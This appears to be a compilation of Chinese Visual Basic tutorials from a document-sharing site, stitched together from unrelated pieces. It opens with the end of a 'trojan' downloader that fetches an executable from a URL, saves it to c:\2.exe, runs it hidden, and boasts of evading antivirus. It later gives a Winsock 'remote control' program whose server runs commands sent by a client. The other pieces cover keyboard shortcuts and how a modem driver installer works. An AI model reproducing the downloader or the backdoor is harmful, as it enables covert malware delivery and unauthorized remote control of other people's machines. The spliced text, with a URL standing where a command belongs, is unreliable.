
址,第3个是保存的位置,其他默认就可以

Sleep 30000 '单位是毫秒,我这里是挂起30秒

ShellExecute 0, vbNullString, "c:\2.exe", vbNullString, vbNullString, vbNormalFocus 'ShellExecute的第2个参数是你要运行的文件,也就是我们下到本地的木马地址了

end ‘退出

End Sub

这里我是下载http://127.0.0.1/1.exe,然后保存到c:\2.exe

我们把文件的运行方式设置为隐藏运行,编译一下,就OK了

。。

我给大家演示一下效果。。。等待30秒。。。成功了吧

虽然简陋了一点,不过效果还可以吧,呵呵,关键是这个是自己写的绝对是不会被杀的哈

BY:黑色恶魔

QQ:317217830

我们知道,在一些程序中,有一些快捷方式(如:Shift键最小化、ESC键退出、Ctrl+S存盘、Alt+x退出等等)。以前有一些介绍使用Win32 API可以做到,但过于繁琐,其实VB本身已经给我们提供了这个功能。

我们来新建一个窗体Form1,对于键盘操作可以看到有三个事件KeyPress(),KeyDown和KeyUp,下面我对它们分别介绍:

KeyPress()事件是当用户按下和松开一个 ANSI 键时发生(ANSI是可见ASCII字符1-127)。

语法

Private Sub object_KeyPress([index As Integer,]keyascii As Integer)

KeyPress 事件语法包含下列部分:

部分描述

object 一个对象表达式,其值是“应用于”列表中的一个对象。

index 一个整数,它用来唯一标识一个在控件数组中的控件(仅有控件数组时才有)。

keyascii 是返回一个标准数字 ANSI 键代码的整数。Keyascii 通过引用传递,对它进行改变可给对象

发送一个不同的字符。将 keyascii 改变为 0 时可取消击键,这样一来对象便接收不到字符。

说明

具有焦点的对象接收该事件。一个窗体仅在KeyPreview 属性被设置为 True 时才能接收该事件。一个 KeyPress 事件可以引用任何可打印的键盘字符,一个来自标准字母表的字符或少数几个特殊字符之一的字符与 CTRL 键的组合,以及 ENTER 或BACKSPACE键。KeyPress()事件过程在截取 TextBox 或ComboBox 控件所输入的击键时是非常有用的。它可立即测试击键的有效性或在字符输入时对其进行格式处理。改变 keyascii 参数的值会改变所显示的字符。

可使用下列表达式将 keyascii 参数转变为一个字符:

Chr(KeyAscii)

然后执行字符串操作,并将该字符反译成一个控件可通过该表达式解释的 ANSI 数字:

KeyAscii = Asc(char)

在KeyPress()处理不了的功能可以由KeyDown()和KeyUp()事件来处理:

语法

Private Sub object_KeyDown([index As Integer,]keycode As Integer, shift As Integer) Private Sub object_KeyUp([index As Integer,]keycode As Integer, shift As Integer)

KeyDown 和 KeyUp 事件包括下列部分:

部分描述

object 一个对象表达式,其值是“应用于”列表中的一个对象。

index 是一个整数,它用来唯一标识一个在控件数组中的控件(仅有控件数组时才有)。

keycode 是一个键代码,诸如 vbKeyF1 ( F1 键)或 vbKeyHome ( HOME 键)。

shift 是在该事件发生时响应 SHIFT ,CTRL 和 ALT 键的状态的一个整数。shift、CTRL、ALT 键在这些位分别对应于值 1、2 和 4。例如:如果 CTRL 和 ALT 这两个键都被按下,则 shift 的值为 6。

说明

对于这两个事件来说,带焦点的对象都接收所有击键。一个窗体只有在不具有可视的和有效的控件时才可以获得焦点。虽然KeyDown()和KeyUp()事件可应用于大多数键,它们最经常地还是应用于:扩展的字符键如功能键、定位键、键盘修饰键和按键的组合、区别数字小键盘和常规数字键;在需要对按下和松开一个键都响应时,可使用 KeyDown 和 KeyUp 事件过程。

下列情况不能引用 KeyDown 和 KeyUp 事件:窗体有一个 CommandButton 控件,并且 Default 属性设置为 True 时的 ENTER 键。窗体有一个 CommandButton 控件,并且 Cancel 属性设置为 True 时的 ESC 键、TAB键,KeyDown 和 KeyUp 用两种参数解释每个字符的大写形式和小写形式:keycode —显示物理的键(将 A 和 a 作为同一个键返回)和shift—显示shift+key键的状态而且返回A或a其中之一。

如果需要测试 shift 参数,可使用该参数中定义各位的 shift 常数。该常数有下列值:

常数值描述

vbShiftMask 1 HIFT 键的位

屏蔽。

VbCtrlMask 2 CTRL 键的

位屏蔽。

VbAltMask 4 ALT 键的位

屏蔽。

该常数用作位屏蔽,它可被用来测试任何键组合。

注意:如果 KeyPreview 属性被设置为 True,则一个窗体先于该窗体上的控件接收到此事件。可用KeyPreview 属性来创建全局键盘处理例程。

了解了以上知识,我们可以制作出非常完美而且带有快捷键的程序,例如我们在一个程序中要用Ctrl +S存盘,Shift最小化,Alt+X和ESC退出:

首先启动vb选择新建EXE文件,在Form1窗体上拉一个TextBox,并把Form1的KeyPreview属性设为True,双击Form1,选择Form的KeyPress事件,输入如下代码:

Private Sub Form_KeyPress(KeyAscii as Integer) 'Esc键退出,VbEscape可以用27代替

If KeyAscii=VbEscape then End

End Sub

在Form的KeyDown事件中输入如下代码:

Private Sub Form_KeyDown(KeyCode as Integer,Shift as Integer) '处理Ctrl+X,Shift,Alt+X If Shift=2 And KeyCode=VbKeyS Then Print #FileNum,Form1.Text1.Text 'Ctrl+S存盘,VbKeyS=83 If shift=2 then Form1.WindowState=1 'Shift最小化

If Shift=4 And KeyCode=VbKeyX Then End 'Alt+X退出,VbkeyX=88

End Sub

在Form的Load事件中输入如下代码:

Private Sub Form_load()

Dim FileNum as integer

FileNum=FreeFile

Open App.Path+“\Sample.txt" For Append As #FileNum

End Sub

运行它就可以实现我们所要求的功能了,举这个例子只是抛砖引玉的

只要掌握了原理,你也能写出一个所谓的“黑客”程序。下面笔者带领大家用VB亲自编写一个远程控制程序。从而揭开它的神秘面纱。

一、所用控件

在程序中将使用Winsock控件。Winsock控件是一个ActiveX控件,使用TCP协议或UDP协议连接到远程计算机上并与之交换数据。和定时器控件一样,Winsock控件在运行时是不可见的。Winsock的工作原理是:客户端向服务器端发出连接请求,服务器端则不停地监听客户端的请求,当两者的协议沟通时,客户端和服务器端之间就建立了连接,这时客户端和服务器端就可以实现双向数据传输。实际编程中,必须分别建立一个服务器端应用程序和一个客户端应用程序,两个应用程序中分别有自己的Winsock控件。首先设置Winsock控件使用的协议,这里我们使用TCP协议。现在,让我们开始用VB建立两个程序,一个是客户端程序myclient,另一个是服务器端程序myserver。

二、编写客户端程序

首先来建客户端程序myclient。在myclient程序中建立一个窗体,加载Winsock控件,称为tcpclient,表示使用的是TCP协议,再加入两个文本框(text1和text2),用来输入服务器的IP地址和端口号,然后建立一个按钮(cd1),用来建立连接,按下之后就可以对连接进行初始化了,代码如下:private sub cd1_click()

tcpclient.romotehost=text1.text

tcpclient.romoteport=val(text2.text)'端口号,缺省为1001

tcpclient.connect '调用connect方法,与指定IP地址的计算机进行连接

cd1.enabled=false

end sub

连接之后就是如何处理所收到的数据的问题了。客户端和服务器端建立连接后,如果有任何一端接收到新的数据,就会触发该端winsock控件的dataarrival事件,在响应这个事件时,可以使用getdata方法获得发送来的数据。比如可以在tcpclient的dataarrival事件中编写代码如下:private sub tcpclient_dataarrival(byval bytestotal as long)

dim x as string

tcpclient.getdata x '使用getdata获得发送来的数据

.......

End sub

后面的省略部分表示对接收到的数据进行的具体处理,读者可以根据实际情况编写。

三、编写服务器端程序

先建立一个窗体,加载Winsock控件,名称为tcpserver。另外在窗体上加入一个文本框text1用来显示客户机的IP地址和客户机发送过来的数据信息。

当客户端程序运行时,在客户端程序按下连接按钮后,客户端向服务器端程序请求连接,这时服务器端的connectionrequest事件被触发,所以服务器端程序要解决连接问题,可以使用connectionrequest 事件完成此功能。代码如下:

'在窗体的load事件中对tcpserver控件进行初始化

private sub form_load()

tcpserver.localport=1001

tcpserver.listen '把服务器置于监听检测状态

end sub

'服务器端接收到客户端的连接请求,首先检查当前状态是否处于连接关闭状态

Private sub tcpclient_connectionrequest(Byval requestID as long)

If tcpserver.state<>sckclosed then '检查控件的state属性是否为关闭Tcpserver.close '

Tcpserver.accept requestID '

End if

End sub

现在我们在服务器端程序tcpserver的dataarrival事件中添加以下代码,以便让服务器端程序可以接收客户机端的指令,并运行相应的程序。

四、测试远程控制程序

现在,你就可以将这两个程序分别运行于两台使用TCP/IP协议联网的机器了。在客户机端你按下连接按钮,再输入“c:

https://www.360docs.net/doc/6614866904.html,”,可以看到在服务器端立刻打开一个DOS窗口,设想一下,如果它运行一些破坏性的命令会发生什么事情?这就是一个最基本的远程控制程序。当然,真正的黑客程序要复杂得多,但基本原理是相同的。现在你该恍然大悟了吧?

---- 前几天在朋友家看到一款联想射雕MODEM,吸引我的不是MODEM的外形、性能之类的说明,而是它配套光盘中的START.EXE说明能够自动安装MODEM的驱动程序?当时觉得非常奇怪,因为外置式MODEM 还可以通过检测COM口对MODEM发送AT指令获得MODEM类型,从而安装相应驱动程序,而内置式MODEM是没有办法这样做的,如果没有先安装驱动程序,无法对MODEM进行检测的。再仔细观察说明书,原来联想的MODEM在PC机上用的都是外置式的。这倒是可以通过程序实现自动安装的。

---- 运行起START.EXE,选择自动安装,一步步进行下去,仔细观察MODEM,发现MODEM的指示灯没有一点变化,如果程序在检测MODEM,MODEM应该有所反应的啊,过了一阵,出现了WINDOWS的那个检测到新硬件的窗口,然后就是正在安装驱动程序,实在令我非常诧异。

---- 这是怎么回事?难道它不需要检测MODEM就能让WINDOWS知道有新硬件把我又把驱动程序卸掉,重新运行START.EXE,这次是紧紧的盯着屏幕,忽然,控制面板中系统对话框出现了,自动切换到了设备管理器的界面,然后就是检测到了新硬件,正在安装驱动程序。

---- 我们知道,如果在电脑上安装新的PnP硬件,WINDOWS启动后会报告找到新硬件,如果这时选择取消按钮,进入WINDOWS后,再进入控制面板,选择系统,选择设备管理器,选择刷新按钮,WINDOWS将再次检测硬件,会再次报告找到新硬件。

---- 于是我再次卸掉驱动程序,先把系统属性界面运行起来,显示出性能页面中的虚拟内存对话框,再运行START.EXE,只见虚拟内存对话框突然出现在前台,而本来应该是START.EXE在前台的;也没有出现检测到新硬件对话框,最后START.EXE报告没有检测到MODEM。

---- 看来真相大白了,联想的自动安装程序是通过调用WINDOWS的刷新功能实现其安装的,但是一般我们安装新硬件的时候,如果WINDOWS本身没有安装程序,都会要求我们插入驱动程序安装盘,那么联想MODEM的驱动程序是怎么装上去的呢?

---- 仔细查看联想MODEM的配套光盘,根目录下有几个INF文件,看来这几个是MODEM的驱动程序了,WINDOWS安装新硬件的驱动程序时,首先会在WINDOWS目录下耳朵INF目录中查找相应的驱动程序,如果没有找到,才会要求驱动程序安装盘,看来联想的自动安装程序是先把驱动程序拷贝到INF目录下,然后再刷新设备管理器,从而安装MODEM.。

---- 我首先屏蔽掉START.EXE对系统属性的刷新功能,然后在START.EXE检测MODEM的时候在INF目录下查找联想MODEM的驱动程序,果然已经拷贝了,从而证实了我的想法。

---- 下面我说说如何用VB实现类似的功能:

---- 首先是将需要的驱动程序拷贝到WINDOWS相应的目录下,

---- 用VB中的FILECOPY函数可以完成这项功能。

---- 获得WINDOWS目录可以使用API函数“GetWindowsDirectory”,获得WINDOWS系统目录使用API 函数“GetSystemDirectory”。

---- Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long ---- 然后是调用控制面板中的系统属性对话框。

---- Shell "rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,1",1 sysdm.cpl就是控制面板的系统属性扩展,要运行它需要调用rundll32.exe shell32.dll,Control_RunDLL运行。

---- 如果我们打开资源管理器的“查看”菜单中“文件夹选项”菜单,将会出现一个对话框,切换到“文件类型”,查找“控制面板扩展”文件类型,选中后,详细信息中说明它的扩展名为“CPL”,打开方式“RUNDLL32.EXE”,点击“编辑”按钮,出现“编辑文件类型”对话框,对应的操作是“使用控制面板打开”,选择“编辑”按钮,出现一个名为“编辑这种类型的操作:控制面板扩展”,这时我们将在“用于执行操作

相关主题
相关文档
最新文档